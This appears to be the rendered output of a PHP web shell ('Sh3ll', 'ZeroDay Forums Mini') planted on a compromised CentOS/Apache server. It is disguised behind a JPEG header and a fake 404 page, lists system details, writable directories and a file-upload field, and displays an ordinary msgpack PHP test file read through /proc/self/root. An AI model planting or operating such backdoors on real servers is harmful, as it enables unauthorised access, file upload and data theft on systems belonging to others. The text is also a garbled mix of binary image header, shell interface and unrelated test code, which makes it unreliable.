����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/usr/share/tests/pecl/msgpack/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/tests/pecl/msgpack/tests/129.phpt
--TEST--
unpack of template converter (object)
--SKIPIF--
<?php
if (version_compare(PHP_VERSION, '5.2.0') < 0) {
    echo "skip tests in PHP 5.2 or newer";
}
--FILE--
<?php
if(!extension_loaded('msgpack'))
{
    dl('msgpack.' . PHP_SHLIB_SUFFIX);
}

//error_reporting(0);

function test($type, $variable, $object, $result = null)
{
    $serialized = msgpack_pack($variable);
    $unserialized = msgpack_unpack($serialized, $object);

    var_dump($unserialized);
    if ($result)
    {
        echo $unserialized == $result ? 'OK' : 'ERROR', PHP_EOL;
    }
    else
    {
        echo 'SKIP', PHP_EOL;
    }
}

class MyObj
{
    private $data = null;
    private $priv = "privdata";
    public  $pdata = null;
    public $subary = null;

    function __construct()
    {
        $this->data = "datadata";
        $this->subary = new SubObj();
    }
}

class SubObj
{
    private $subdata = null;
    private $subpriv = "subprivdata";
    public  $subpdata = null;

    function __construct()
    {
        $this->subdata = "subdatadata";
    }
}

$obj = new MyObj();
$obj->pdata = "pubdata";
$obj->subary->subpdata = "subpubdata";

$tpl = new MyObj();

test("recursive object /w instance", $obj, $tpl, $obj);

--EXPECTF--
object(MyObj)#%d (4) {
  [%r"?data"?:("MyObj":)?private"?%r]=>
  string(8) "datadata"
  [%r"?priv"?:("MyObj":)?private"?%r]=>
  string(8) "privdata"
  ["pdata"]=>
  string(7) "pubdata"
  ["subary"]=>
  object(SubObj)#%d (3) {
    [%r"?subdata"?:("SubObj":)?private"?%r]=>
    string(11) "subdatadata"
    [%r"?subpriv"?:("SubObj":)?private"?%r]=>
    string(11) "subprivdata"
    ["subpdata"]=>
    string(10) "subpubdata"
  }
}
OK

ZeroDay Forums Mini